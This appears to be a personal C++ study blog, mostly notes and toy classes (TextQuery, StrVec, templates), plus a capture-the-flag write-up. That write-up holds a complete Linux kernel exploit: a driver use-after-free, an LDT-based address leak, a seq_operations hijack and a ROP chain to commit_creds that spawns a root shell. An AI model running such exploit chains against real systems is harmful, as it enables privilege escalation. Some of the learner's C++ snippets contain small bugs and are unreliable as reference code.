记录自己利用智能指针和标准库写的单词索引程序

main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "TextQuery.h"

void runQueries(fstream &file){
TextQuery textquery(file);
string user_string;
while(true){
cout<<"plz input your word: ";
if(!(cin>>user_string)||user_string=="quit"){
break;
}
QueryResult qr=textquery.query(user_string);
print(cout,qr)<<endl;
}
}
int main(){
fstream file;
file.open("./2.txt",ios::in);
if(!file){
cout<<"open file fail"<<endl;
}
runQueries(file);
}

TextQuery.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#ifndef INC_1_TEXTQUERY_H
#define INC_1_TEXTQUERY_H
#include <fstream>
#include <map>
#include <set>
#include<memory>
#include<vector>
#include<string>
#include<sstream>
#include<iostream>
#include "QueryResult.h"

class TextQuery {
public:
TextQuery(std::fstream &);
void getword();
QueryResult query(const std::string);
private:
std::shared_ptr<std::vector<std::string>> file_context;
std::map<std::string,std::shared_ptr<std::set<int>>> word;
};
#endif //INC_1_TEXTQUERY_H

TextQuery.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#include "TextQuery.h"


TextQuery::TextQuery(std::fstream &file) {
std::string tmp;
int cur=0;
this->file_context=std::make_shared<std::vector<std::string>>();
while(std::getline(file,tmp)){
this->file_context->push_back(tmp);
std::istringstream line(tmp);

while(line>>tmp){
if(this->word.find(tmp)==this->word.end()){
auto word_set= std::make_shared<std::set<int>>();
word_set->insert(cur);
this->word.insert({tmp,word_set});
}else{
auto value=this->word[tmp];
value->insert(cur);
}
}

cur++;
}
}

void TextQuery::getword() {
auto iter=this->word.begin();
while(iter!=this->word.end()){
std::cout<<iter->first<<" ";
auto tmp=iter->second->begin();
while(tmp!=iter->second->end()){
std::cout<<*tmp<<" ";
tmp++;
}
std::cout<<std::endl;
iter++;
}
}
QueryResult TextQuery::query(std::string user_word){
auto word_set=this->word[user_word];
return QueryResult(user_word,word_set,this->file_context);
}

QueryResult.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#ifndef INC_1_QUERYRESULT_H
#define INC_1_QUERYRESULT_H

#include<string>
#include<memory>
#include<set>
#include<vector>
#include<ostream>
#include<iostream>
class QueryResult {
friend std::ostream& print(std::ostream &os, QueryResult &qr);
private:
std::string word;
std::shared_ptr<std::set<int>> word_set;
std::shared_ptr<std::vector<std::string>> file_count;
public:
QueryResult(std::string word,std::shared_ptr<std::set<int>> word_set,std::shared_ptr<std::vector<std::string>> file_count){
this->word=word;
this->word_set=word_set;
this->file_count=file_count;
};

};

#endif //INC_1_QUERYRESULT_H

QueryResult.cpp

1
2
3
4
5
6
7
8
9
10
11
#include "QueryResult.h"
std::ostream& print(std::ostream &os,QueryResult &qr){
os<<qr.word<<" "<<"occurs "<<qr.word_set->size()<<" times"<<std::endl;
auto iter=qr.word_set->begin();
while(iter!=qr.word_set->end()){
int line_num=*iter+1;
os<<"(line "<<line_num<<")"<<" "<<(*qr.file_count)[*iter]<<std::endl;
iter++;
}
return os;
}

整体来说不是很难,主要记录一下这些标准库的主要用法。

拷贝构造函数的参数问题

拷贝构造函数的参数只能这个类的对象的引用不能是一个对象,因为当拷贝构造函数形参是一个对象时,那发生拷贝的时候就会调用拷贝构造函数,而拷贝构造函数也会发生拷贝,所以又会调用拷贝构造函数,这就造成了死循环了。这个拷贝构造函数永远没有办法调用成功。

注意参数不仅是引用,如果要使用容器对对象进行存储的话,必须得存在一个const引用的构造函数,原因应该还是非const引用没办法接收临时变量。

所以拷贝构造函数最好有两个版本,一个const引用一个非const引用(我的理解)。

explicit

编译器可以自动隐式的进行一步类型转换,但只能进行一步,比如下面代码

1
2
3
4
class A{
A(string s);
};
void fun(A a);

如果这样fun("123"),就会发成错误,因为编译器只能自动隐式的进行一步类型转换,比如把字符串转换成string或者把string转换成class A,但是不能自动进行两步转化,fun("123")就是两步转化,正确的方式可以是这样fun(string("123"))或者fun(A("123"))

这确实很方便,但是有时候程序员并不想进行这种自动转化,那就可以使用explicit进行限制,比如

1
2
3
4
class A{
explicit A(string s);
};
void fun(A a);

此时再调用fun(string("123"))就会发生错误,因为禁止从string转化成class A了。

拷贝初始化

拷贝初始化的时候会自动调用拷贝构造函数或者移动构造函数。

直接初始化和拷贝初始化还是有很大区别的,直接初始化指调用构造函数完成对象的初始化工作,拷贝初始化是指当对象发生拷贝的时候被动调用拷贝构造函数或者移动构造函数。

拷贝构造函数和拷贝赋值运算符的区别

主要区别就是他们调用的时机不同,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
class A{
public:
int s;
A(){
cout<<"asd"<<endl;
}
A(A &a){
cout<<"123"<<endl;
};
A& operator=(const A&){
cout<<"234"<<endl;
};
};

如果这样

1
2
3
4
int main(){
A a;
A c=a;
}

那就是调用拷贝构造函数,输出123,那是因为此时是初始化一个对象的时候发生拷贝行为,就会调用拷贝构造函数

如果这样

1
2
3
4
int main(){
A a,c;
c=a;
}

单纯的把一个已经初始化的对象赋值给另一个已经初始化的对象就会调用拷贝赋值运算符。

所以为了一个类的健壮性,建议两者都得有。

小记

c++太恐怖了,太多细节了。

智能指针的简单实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class HasPtr{
friend void swap(HasPtr &,HasPtr &);
public:
HasPtr(int i,const string &s= string()):ptr(new string(s)),i(i),use(new size_t(1)){};
HasPtr(const HasPtr &hasptr):ptr(hasptr.ptr),i(hasptr.i),use(hasptr.use){
*use++;
};
HasPtr(HasPtr &hasptr):ptr(hasptr.ptr),i(hasptr.i),use(hasptr.use){
*use++;
};
HasPtr& operator=(const HasPtr &hasptr){
(*hasptr.use)++;
*use--;
if(*use==0){
delete use;
delete ptr;
}
ptr=hasptr.ptr;
use=hasptr.use;
i=hasptr.i;
return *this;
};
bool operator<(HasPtr &hp){
if(i>hp.i){
return true;
}else{
return false;
}
};
string& getstring(){
return *(this->ptr);
};
~HasPtr(){
*use--;
if(*use==0){
delete use;
delete ptr;
}
};
private:
size_t *use;
string *ptr;
int i;
};
inline void swap(HasPtr &lhs,HasPtr &rhs){
cout<<"hp swap"<<endl;
swap(lhs.use,rhs.use);
swap(lhs.ptr,rhs.ptr);
swap(lhs.i,rhs.i);
}

const对象只能调用const成员函数

因为要保证对象的const属性.

std::move

标准库函数,能够显示调用对象的移动构造函数。

比如下面的代码

1
2
3
4
int main(){
string s1="123";
string s2(move(s1));
}

就是将s1移动到了s2,移动后s1依然可以正常析构,但是此时s1不再指向”123”的字符串了,s2将指向”123”的字符串。

multiple definition 多重定义问题

在c++中切记切记不要在头文件中定义全局变量或者函数,因为如果这个头文件被多个cpp文件引用绝对会爆multiple definition这个错。

如果在头文件中定义了变量(是定义不是声明),并分别在a.c和b.c中进行了引用,编译过程中这个变量的符号会同时包含在a.o和b.o中,导致链接失败,原因是C语言规定“一个变量可以多次声明但只能定义一次”,解决办法是在头文件中加上#ifndef X条件编译,使该变量只定义一次,但是这里又有一个问题,该解决办法只适用C而不适用C++,在C++中,即使在头文件中加了#ifndef X,链接错误同样会发生,原因是C++中#ifndef X的作用域仅在单个文件中,因此只要在.h中定义了变量并在不同.cpp中进行引用,链接时都会报重定义错误,再说得直白点,a.cpp和b.cpp都引用了条件编译的g.h,g.h的条件编译只能分别保证在a.cpp和b.cpp中不出现重复定义,但在链接a.o和b.o的过程中就会发现重复定义。

c++这样做我理解是更加细粒度变量的作用域,变量只属于某一个模块而不是整个程序,如果一个模块想使用另一个模块的某一个变量就得使用extern这个关键字

extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义。要使用其他模块的变量只要在这个模块中使用extern 变量声明就可以了。

StrVec简单实现

.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#ifndef INC_1_STRVEC_H
#define INC_1_STRVEC_H
#include<string>
#include<memory>
#include<utility>
#include<initializer_list>
class StrVec {
public:
StrVec():elements(nullptr),first_free(nullptr),cap(nullptr){};
StrVec(std::initializer_list<std::string>);
StrVec(const StrVec&);
StrVec& operator=(const StrVec&);
std::string& operator[](int );
~StrVec();
void push_back(const std::string&);
size_t size(){
return first_free-elements;
};
size_t capacity(){
return cap-elements;
};
std::string* begin() const{
return elements;
};
std::string* end() const{
return first_free;
};
void resize(size_t,const std::string& s=std::string(""));
void reserve(size_t);
private:
static std::allocator<std::string> alloc;
void chk_n_alloc(){
if(size()==capacity()){
reallocate();
}
};
std::pair<std::string*,std::string*> alloc_n_copy(const std::string*,const std::string*);
void free();
void reallocate();
std::string *elements;
std::string *first_free;
std::string *cap;
};


#endif //INC_1_STRVEC_H

.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "StrVec.h"

std::allocator<std::string> StrVec::alloc;
void StrVec::push_back(const std::string &s) {
chk_n_alloc();
alloc.construct(first_free++,s);
}

std::pair<std::string *, std::string *> StrVec::alloc_n_copy(const std::string *b, const std::string *e) {
auto data=alloc.allocate(e-b);
return {data, std::uninitialized_copy(b,e,data)};
}

void StrVec::free() {
if(elements){
for(auto p=first_free;p!=elements;){
alloc.destroy(--p);
}
alloc.deallocate(elements,cap-elements);
}
}
StrVec::StrVec(const StrVec & strvec) {
auto newstrings= alloc_n_copy(strvec.begin(),strvec.end());
elements=newstrings.first;
first_free=cap=newstrings.second;
}

StrVec &StrVec::operator=(const StrVec &strvec) {
auto newstrings= alloc_n_copy(strvec.begin(),strvec.end());
free();
elements=newstrings.first;
first_free=cap=newstrings.second;
return *this;
}

void StrVec::reallocate() {
auto newvecsize=size()? size()*2:1;
auto newelement=alloc.allocate(newvecsize);
auto dest=newelement;
auto src=elements;
while(src!=first_free){
alloc.construct(dest++,std::move(*src++));
}
free();
elements=newelement;
first_free=dest;
cap=elements+newvecsize;
}
StrVec::~StrVec() {
free();
}

void StrVec::resize(size_t newsize, const std::string &s) {
auto newelement=alloc.allocate(newsize);
auto dest=newelement;
auto src=elements;
for(int i=0;(i<newsize)&&(src!=first_free);i++){
alloc.construct(dest++,std::move(*src++));
};
free();
elements=newelement;
first_free=dest;
cap=elements+newsize;
}
void StrVec::reserve(size_t newsize) {
if(newsize>capacity()){
resize(newsize);
}
}
StrVec::StrVec(std::initializer_list<std::string> lst) :elements(nullptr),first_free(nullptr),cap(nullptr){
for(auto iter=lst.begin();iter!=lst.end();iter++){
push_back(*iter);
}
};

std::string &StrVec::operator[](int idx) {
return *(elements+idx);
}

左值 右值 左值引用 右值引用

(93条消息) 【C++】左值和右值、左值引用(&)和右值引用(&&)_Jacky_Feng的博客-CSDN博客_c++ 左值右值&&的作用

比较有意思的点是右值引用变量是左值。所以不能把一个右值引用变量赋值给一个右值引用变量。因为右值引用变量是一个变量,在内存中有对应地址,所以他本身并不是一个右值,而是一个左值。

类的小知识点总结

  • 动态绑定就相当于多态,多态不仅可以通过指针来使用,还可以通过引用

  • 虚函数也可以在自己的类中进行定义

  • 析构函数是可以虚函数的,在基类中通常就应该定义一个虚析构函数。

  • 任何构造函数之外的非静态函数都可以是虚函数。

  • 派生类必须将继承而来的成员函数中需要覆盖的那些重新声明。

  • 派生类如果是public继承了类,那他就只可以访问父类的公有成员和受保护成员0,不可以访问私有成员。

  • 如果派生类的虚函数需要使用默认实参,基类和派生类中定义的默认实参最好一致,不然通过多态调用派生类的虚函数的时候,传入的默认参数是基类的默认参数。

  • 派生类可以重写或者不重写基类的虚函数,但是纯虚函数派生类必须得重写,除非派生类也是一个抽象基类。

  • protected是publibc和private的中和产物,当使用protected修饰成员的时候,这个成员就是受保护成员,这个成员对于类的用户来说不可见,但是对类的派生类可见。

  • 对于访问权限和继承来说,有两个影响变量,可以通过三个角度来讨论,即类的使用者,类是实现者,类的派生类。解释起来有些麻烦,忘了还是直接看书吧,p542处.

  • 派生类的作用域位于基类作用域之内,在如果调用类的某个成员函数时首先进行名字匹配,从这个类找起,如果这个类没有那就从这个类的父类找起,如果没有找见那就一直找到这个继承链的顶点,如果还没有找到那就报错,如果名字匹配上了,那就再进行类型检查,检查通过了就是合法调用。

  • 比较有意思的是派生类不存在对基类的重载,如果派生类的变量或者函数的名字和基类重了那派生类就会隐藏基类的重名函数或者重名变量,那其实重名变量在内存中有两份了,必须得通过作用域运算符来强制访问,下面的代码就是很好的解释,值得注意的是名字查找优于类型查找,如果派生类中的成员函数只有名字和基类函数重名,类型完全不一样,派生类还是会隐藏基类的函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    class A{
    public:
    int c;
    A(){
    c=14;
    cout<<":"<<c<<endl;
    }
    };
    class B: public A{
    public:
    int c;
    B(int c):c(c){};
    void get_c(){
    cout<<A::c<<endl;
    }
    };
    int main(){
    B b(23);
    b.c=12;
    cout<<b.c<<endl;
    b.get_c();
    cout<<b.c<<endl;
    }
  • 如果基类中有一个函数名的多个重载版本,在派生类中还想重载某一个版本,不能直接对其重载,原因上述已经说清楚了,可以使用using把所有的重载版本全部引入派生类中再进行重载。

  • 一条经验准则,如果一个类需要析构函数,那么它也同样需要拷贝和赋值操作。但是基类的虚析构函数是个例外。原因仔细想想也能明白,正常一个类需要析构函数是因为有自己管理的资源了,有自己管理的资源那就得考虑拷贝和赋值移动的时候到底该怎么处理,但是基类不一样,基类有析构函数是因为要为多态服务,他自己可能有资源可能没有,所以可以不必要有拷贝赋值移动操纵。

  • 虚函数和多态是强绑定的,虚函数并不是说基类有虚函数,派生类就必须实现虚函数,这是错误的观点,虚函数我感觉就是完全为了多态服务,当基类的指针或者引用指向了派生类时,如果调用了虚函数,就会调用指向的对象的函数。所以如果派生类都有某个功能但是实现的方式不一样的话就可以标记成虚函数,除此之外就没必要了。

  • 当一个类中有了析构函数就不会合成移动操作,基类一定有析构函数,所以正常情况下一定没有合成的移动操作,这就会阻止派生类拥有自己的移动操作,所以如果派生类确实需要自己的移动操作,就需要在基类中显示的定义移动操作。

  • 不管是移动,构造,还是拷贝,派生类都会在初始化列表中调用基类的对应函数,以此来移动,构造或者拷贝派生类中的基类部分,然后在函数体中移动,构造,或者拷贝派生类自己的部分。

  • 在析构函数执行完之后,对象的成员会被隐式销毁,类似的,对象的基类部分也是隐式销毁,所以没必要在派生类的析构函数中调用基类的析构函数。

  • 最后不要在基类的特殊函数中使用虚函数,因为如果是派生调用基类的特殊函数的时候基类的特殊函数里的虚函数就会执行派生类的虚函数版本,这会导致不可知的错误。如果需要使用的话最好指明虚函数版本。

第十五章 单词查询程序

通过这个练习让我更加深刻的理解了类的继承的实际意义,对于要处理某一类事情,这类事情又可以分成很多小类型的话,那就可以提取所有小类型的公共特性然后成为一个基类,这些小类型继承这些基类,如果这些小类型还可以再细分的话,再次对小类型的所有小类型提取共有特性成为一个基类,小类型的小类型继承这个基类,依次类推。

这么做我感觉最大的好处就是让整个继承体系条理分明,层次关系清晰,还减少了代码的冗余量。

要处理某一类事情不能直接使用我们构造的继承体系,因为最后派生类你改使用哪一个派生类呢,所以得再构造一个类来管理使用这个继承体系,这个类(即Query)就是这个继承体系的接口类,暴露了这个继承体系的接口又隐藏了整个继承体系。

下面是这个联系的代码

Query.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ifndef INC_1_QUERY_H
#define INC_1_QUERY_H
#include "TextQuery.h"
class Query_base;
class Query {
friend Query operator~(const Query &);
friend Query operator&(const Query &,const Query &);
friend Query operator|(const Query &,const Query &);
public:
Query(const std::string &s);
QueryResult eval(TextQuery &t) const;
std::string rep() const;
private:
Query(std::shared_ptr<Query_base> query) :q(query){};
std::shared_ptr<Query_base> q;
};
#endif //INC_1_QUERY_H

Query.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "Query.h"
#include "Query_base.h"
std::ostream& operator<<(std::ostream &os,const Query &query){
return os<<query.rep();
}

QueryResult Query::eval(TextQuery &t) const {
return q->eval(t);
}
std::string Query::rep() const {
return q->rep();
}
Query::Query(const std::string &s):q(new WordQuery(s)){}

Query operator~(const Query &q) {
// this->q=std::shared_ptr<Query_base>(new NotQuery(*this));
// return *this;
return std::shared_ptr<Query_base>(new NotQuery(q));
}

Query operator&(const Query &l,const Query &r) {
// this->q=std::shared_ptr<Query_base>(new AndQuery(*this,r));
// return *this;
return std::shared_ptr<Query_base>(new AndQuery(l,r));
}

Query operator|(const Query &l,const Query &r) {
return std::shared_ptr<Query_base>(new OrQuery(l,r));
}

Query_base.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#ifndef INC_1_QUERY_BASE_H
#define INC_1_QUERY_BASE_H

#include "Query.h"
#include <algorithm>
#include <iterator>
class Query_base{
friend class Query;
protected:
virtual ~Query_base()=default;
private:
virtual QueryResult eval(TextQuery&) const=0;
virtual std::string rep() const =0;
};

class WordQuery:public Query_base{
friend class Query;
WordQuery(const std::string &s) :query_word(s){};
QueryResult eval(TextQuery &t) const {
return t.query(query_word);
};
std::string rep() const{
return query_word;
};
std::string query_word;
};

class NotQuery:public Query_base{
friend Query operator~(const Query&);
std::string rep() const{
return "~("+query.rep()+")";
}
QueryResult eval(TextQuery &t) const;
Query query;
protected:
NotQuery(const Query &q): query(q){}
};

class BinareyQuery : public Query_base{
protected:
BinareyQuery(const Query &l,const Query &r,const std::string &s):lhs(l),rhs(r),opSym(s){};
std::string rep() const{
return "("+lhs.rep()+" "+opSym+" "+rhs.rep()+")";
}
Query lhs,rhs;
std::string opSym;
};
class AndQuery:public BinareyQuery{
friend Query operator&(const Query &,const Query &);
AndQuery(const Query &l,const Query &r): BinareyQuery(l,r,"&"){};
QueryResult eval(TextQuery&) const;
};
class OrQuery:public BinareyQuery{
friend Query operator|(const Query &,const Query &);
OrQuery(const Query &l,const Query &r): BinareyQuery(l,r,"|"){};
QueryResult eval(TextQuery&) const;
};
#endif //INC_1_QUERY_BASE_H

Query_base.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include "Query_base.h"

QueryResult NotQuery::eval(TextQuery &t) const {
auto result=query.eval(t);
auto ret_lines= std::make_shared<std::set<int>>();
auto beg=result.begin,end=result.end;
auto size=result.get_file()->size();
for(auto n=0;n!=size;n++){
if(beg==end|| *beg!=n){
ret_lines->insert(n);
}else if(beg!=end){
++beg;
}
}
return QueryResult(rep(),ret_lines,result.get_file());
}

QueryResult OrQuery::eval(TextQuery &test) const {
auto letf=lhs.eval(test);
auto right=rhs.eval(test);
auto ret_lines=std::make_shared<std::set<int>>(letf.begin,letf.end);
ret_lines->insert(right.begin,right.end);
return QueryResult(rep(),ret_lines,letf.get_file());
}

QueryResult AndQuery::eval(TextQuery &test) const {
auto letf=lhs.eval(test);
auto right=rhs.eval(test);
auto ret_lines=std::make_shared<std::set<int>>();
std::set_intersection(letf.begin,letf.end,right.begin,right.end,std::inserter(*ret_lines,ret_lines->begin()));
return QueryResult(rep(),ret_lines,letf.get_file());
}

main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
#include "Query_base.h"
int main(){
fstream file;
file.open("./2.txt",ios::in);
if(!file){
cout<<"open file fail"<<endl;
}
Query q=Query("is") & Query("that")|Query("serious");
TextQuery textquery(file);
auto res=q.eval(textquery);
print(cout,res)<<endl;
}

结果

image-20230204002217162

运算符类

运算符类是对运算的一个扩展吧相当于,可以有如下代码

1
2
plus<int> intadd;
int s=intadd(10,20);

不再是直接使用运算符,而是做了一层封装,这么做的好处就是让运算更加适普。比如两个指针的<操作,不能直接p1<p2这会出问题,但是可以这样

1
2
less<char *> intptrless;
bool s=intptrless("123","2324");

这种运算符类是标准库提供的。

使用运算符类进行模板编程会更加类型无关和可移植性。

关于模板函数要在头文件中进行定义的问题

之前讨论过普通变量或者普通函数能否在头文件中定义的问题,答案是否定的,这是非常愚蠢的行为,但是这条规则在模板编程中不适用,当编译器遇到一个模板定义的时候,他并不会生成代码,只有在当实例化模板的一个特定版本时,编译器才会生成代码,当我们使用而不是定义模板的时候,编译器才会生成代码,这一特性非常重要。假如有如下文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// add.h
template <typename T>
T add(const T &a, const T &b)
{
return a + b;
}

// main.cpp
#include "add.h"
int main()
{
int i = add(1, 1);
return 0;
}

main.cpp引用了add.h,当使用add(1,1)的时候就需要实例化一个add(int,int)的函数,模板就定义在头文件中,所以可以直接通过头文件实例化,但是如果只有定义在头文件中,而定义在cpp文件中,在链接期间就会报错了。如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// add.h
template <typename T>
T add(const T &a, const T &b);

// add.cpp
#include "add.h"
template <typename T>
T add(const T &a, const T &b)
{
return a + b;
}

// main.cpp
#include "add.h"
int main()
{
int i = add(1, 1);
return 0;
}

main函数想要寻找add模板函数并且实例化的时候,发现头文件中只有声明,他就会认为这个函数会在add.cpp中进行实例化,到时候在链接期间进行链接就好了,但是在编译add.cpp这个模块的时候又没有使用add模板函数,也就不会给他实例化,导致最终链接期间,main模块想要链接add模块中的函数,但是add模块没有这个函数,导致链接错误。

那直接在头文件中定义一个模板函数会不会像在头文件中定义一个普通函数那样,在链接的时候爆多重定义的错误。答案是不会的,因为针对特定类型模板函数长的是一样的,所以如果多个模块中都有同一个特性类型的模板函数,那就会随机选择一个并使用。

保证传递给模板的实参支持模板所要求的操作,以及这些操作在模板中能正常工作,是调用者的责任。

typedef using

typedef主要是起别名的关键字,using除了可以引入命名空间外,还可以起别名,而且还可以给模板起别名,但是typedef不能给模板起别名

1
2
3
4
5
template <typename T>
using Vec = MyVector<T, MyAlloc<T>>;

// usage
Vec<int> vec;

::作用域运算符

众所周知::可以所以类内的static成员或者类内定义的类型,对于一个非模板类来说,通过::引用的是类内的static成员还是类型很好判断,但是如果使用模板类型参数类的名字就不好判断了,在默认情况下c++假定通过::访问的名字不是类型,因此如果使用一个模板参数的类型成员,就得显示的通过关键字typename来实现,如下

1
2
3
4
5
6
7
8
template <typename T>
typename T::value_type top(const T& c){
if(!c.empty()){
return c.back();
}else{
return typename T::value_type();
}
}

模板实例化声明和实例化定义

实例化声明语法如下

1
2
extern template class Blob<string>;
extern template int compare(const int&,const int&);

这就是两个实例化声明,实例化声明是指别的模块中已经实例化了Blob所以没必要在这个模块中再实例化一次,所以进行一个声明,在编译的时候就不会实例化了而是在别的模块中找到这个实例化模板。

实例化定义语法如下

1
2
template class Blob<string>;
template int compare(const int&,const int&);

实例化定义是指在这个模块中根据模板实参实例化这个模板。此定义非彼定义。

对于每个实例化声明,在程序中的某个位置必须有其显示的实例化定义。

将实参传递给带模板类型的函数形参时,能够自动应用的类型转换只有const转换以及属猪或者函数指针的转换,但是如果函数参数类型不是模板参数,则对实参进行正常的类型转换。

引用折叠和右值引用参数

总结,如果一个函数参数是指向模板参数类型的右值引用,则可以传递给他任意类型的实参,如果将一个优质传递给这个的参数,则函数参数被实例化为一个普通的左值引用。

这个就是c++的例外,不过比较有意思的一点是模板参数可以推断为一个引用类型。

显示的左值引用转化成右值引用

1
2
std::string t="qwe";
std::string &&s=static_const<string&&>(t);

可变参数函数模板

利用递归一个一个处理参数

1
2
3
4
5
6
7
8
9
10
11
12
template <typename T>
ostream &print(ostream &os,const T &t){
return os<<t;
}
template <typename T,typename... Args>
ostream &print(ostream &os,const T &t,const Args&... rest){
os<<t<<", ";
return print(os,rest...);
}
int main(){
print(cout,2134,3456,"asfd","2134",123.2345);
}

c++基础学习告一段落

rwctf体验赛-kernel

比较常规,看的晚了,不然能拿血的。

主要思路就是ldt+seq+pt_regs完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>
#include <sys/prctl.h>

struct user_desc u_desc;
struct User{
unsigned int idx;
unsigned int size;
char * buf;
};
int kfd;
int seq_fd;
size_t kernelbase;
size_t add_rsp_140_pop_6=0xFFFFFFFF810AAC7D;
size_t commit_creds=0xffffffff81095c30;
size_t init_cred=0xffffffff82850580;
size_t pop_rdi=0xffffffff8106ab4d;
size_t kpti=0xffffffff81e00ed0+0x2b;
size_t ret_addr=0xFFFFFFFF82003240;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;

void err_exit(char *buf){
printf("[err]:%s\n",buf);
exit(1);
}

void rw_kfree(unsigned int idx){
struct User user={
.idx=idx,
.size=0,
.buf=malloc(0x10),
};
int ret=ioctl(kfd,0xC0DECAFE,&user);
if(ret==-1){
err_exit("kfree fail");
}
}
void rw_kmalloc(unsigned int idx,unsigned int size,char *buffer){
struct User user={
.idx=idx,
.size=size,
.buf=buffer,
};
int ret=ioctl(kfd,0xDEADBEEF,&user);
if(ret==0){
err_exit("kmalloc fail");
}
}

int main(){
kfd=open("/dev/rwctf",O_RDWR);
char *buf=malloc(0x1000);
memset(buf,0x61,0x100);
rw_kmalloc(0,0x10,buf);
rw_kfree(0);


u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));



size_t page_offset_base=0xffff888000000000;
*(size_t *)buf=page_offset_base;
*(size_t *)(buf+0x8)=0x201;

while (1)
{
rw_kfree(0);
rw_kmalloc(1,0x10,buf);
int ret=syscall(SYS_modify_ldt,0,buf,0x8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf=page_offset_base;
*(size_t *)(buf+0x8)=0x201;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

*(size_t *)buf=page_offset_base+0x9d000;
*(size_t *)(buf+0x8)=0x201;
rw_kfree(0);
rw_kmalloc(1,0x10,buf);
int ret=syscall(SYS_modify_ldt,0,buf,0x8);
if(ret<0){
err_exit("read ldt fail");
}
kernelbase=*(size_t *)buf-0x60;
printf("[*] kernel_base:%p\n",kernelbase);
rw_kmalloc(0,0x20,buf);
rw_kfree(0);
seq_fd=open("/proc/self/stat", O_RDONLY);
rw_kfree(0);

add_rsp_140_pop_6=add_rsp_140_pop_6-vmlinux_nokaslr_addr+kernelbase;
pop_rdi=pop_rdi-vmlinux_nokaslr_addr+kernelbase;
commit_creds=commit_creds-vmlinux_nokaslr_addr+kernelbase;
init_cred=init_cred-vmlinux_nokaslr_addr+kernelbase;
kpti=kpti-vmlinux_nokaslr_addr+kernelbase;
ret_addr=ret_addr-vmlinux_nokaslr_addr+kernelbase;

*(size_t *)buf=add_rsp_140_pop_6;
rw_kmalloc(0,0x20,buf);

__asm__(
"mov r15, 0x1111111;"
"mov r14, pop_rdi;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, ret_addr;"
"mov rbx, pop_rdi;"
"mov r11, ret_addr;"
"mov r10, ret_addr;"
"mov r9, kpti;"
"mov r8, 0xaaaaaaa;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
system("/bin/sh");
}

前言

算是自己研究出的msg的利用的新思路吧,不得不说在kernel版本小于5.14时真的是内核利用的利器,我在多个cve中都看到了msg的身影。在msg的利用中,如果可以控制msg_msg的话,可以轻松完成越界读,一般的msg利用也就是越界读泄露数据,除了任意读如果内核在普通用户下能够使用userfault的话还可以利用msg直接任意写,修改进程的cred来完成权限提升,但是在较高版本下是用户是无法使用userfault的,所以没有办法使用msg直接一把梭的,在较高版本下一般是通过msg泄露地址,然后再找相应大小的结构体劫持·程序流。

